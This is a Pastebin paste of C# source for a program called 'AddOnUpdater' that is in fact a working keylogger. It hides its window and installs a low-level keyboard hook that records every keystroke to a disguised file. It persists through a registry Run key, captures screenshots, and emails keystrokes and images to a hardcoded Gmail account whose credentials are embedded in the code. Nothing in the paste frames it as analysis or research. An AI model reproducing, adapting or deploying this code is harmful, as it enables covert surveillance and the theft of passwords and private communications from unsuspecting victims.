Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.IO;
- using System.Net;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Windows.Forms;
- namespace AddOnUpdater
- {
- class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0;
- static void MailIt(string _startupMessage)
- {
- string _msg;
- if (_startupMessage == "" | _startupMessage == null |
- _startupMessage == "nomsg")
- {
- StreamReader sr = new StreamReader(@"C:\Program Files\systeminformation.txt");
- _msg = sr.ReadToEnd();
- sr.Close();
- }
- else
- _msg = _startupMessage;
- System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();
- System.Net.NetworkCredential cred = new System.Net.NetworkCredential("sz.adam.87@gmail.com", "SzeretnedAGoogleJelszavamatMi?NemKapodMeg:D");
- mail.To.Add("sz.adam.87@gmail.com");
- mail.Subject = "AddonUpdater Report";
- mail.From = new System.Net.Mail.MailAddress("sz.adam.87@gmail.com");
- mail.IsBodyHtml = true;
- mail.Body = _msg;
- System.Net.Mail.Attachment mailAttachment =
- new System.Net.Mail.Attachment(@"C:\Program Files\attchmnt.jpg");
- mail.Attachments.Add(mailAttachment);
- System.Net.Mail.SmtpClient smtp =
- new System.Net.Mail.SmtpClient("smtp.gmail.com");
- smtp.UseDefaultCredentials = false;
- smtp.EnableSsl = true;
- smtp.Credentials = cred;
- smtp.Port = 587;
- smtp.Send(mail);
- }
- static void Main(string[] args)
- {
- if (Registry.GetValue(
- @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
- "AddonUpdater", null) == null)
- Registry.SetValue(
- @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
- "AddOnUpdater", @"C:\Program Files\AddOnUpdater.exe");
- if (!File.Exists(@"C:\Program Files\AddOnUpdater.exe"))
- File.Copy(Application.StartupPath + @"\AddOnUpdater.exe",
- @"C:\Program Files\AddOnUpdater.exe");
- if (!File.Exists(@"C:\Program Files\systeminformation.txt"))
- MailIt("Mission accomplished, we're in! :)");
- var handle = GetConsoleWindow();
- ShowWindow(handle, SW_HIDE);
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallback(
- int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- Console.WriteLine((Keys)vkCode);
- StreamWriter sw = new StreamWriter(@"C:\Program Files\systeminformation.txt", true);
- if (Regex.IsMatch(((Keys)vkCode).ToString(),@"Space"))
- {
- string _newKey = " ";
- sw.Write(_newKey);
- sw.Close();
- }
- else
- {
- sw.Write((Keys)vkCode);
- sw.Close();
- }
- StreamReader sr = new StreamReader(@"C:\Program Files\systeminformation.txt");
- string _counter = sr.ReadToEnd();
- sr.Close();
- if (_counter.Length >= 512)
- {
- int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
- int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
- Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
- Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
- gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
- bmpScreenShot.Save(@"C:\Program Files\attchmnt.jpg", ImageFormat.Jpeg);
- MailIt("nomsg");
- StreamWriter sw2 = new StreamWriter(@"C:\Program Files\systeminformation.txt");
- sw2.WriteLine("");
- sw2.Close();
- }
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- }
- }
Add Comment
Please, Sign In to add comment